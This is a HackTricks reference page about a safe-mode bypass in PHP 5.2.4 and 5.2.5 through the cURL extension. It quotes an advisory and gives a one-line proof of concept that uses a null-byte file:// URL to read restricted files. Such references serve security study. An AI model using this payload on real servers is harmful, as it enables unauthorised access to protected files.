disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

# PHP 5.2.4 and 5.2.5 PHP cURL

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

    source: http://www.securityfocus.com/bid/27413/info

    PHP cURL is prone to a 'safe mode' security-bypass vulnerability.

    Attackers can use this issue to gain access to restricted files, potentially obtaining sensitive information that may aid in further attacks.

    The issue affects PHP 5.2.5 and 5.2.4.

    var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.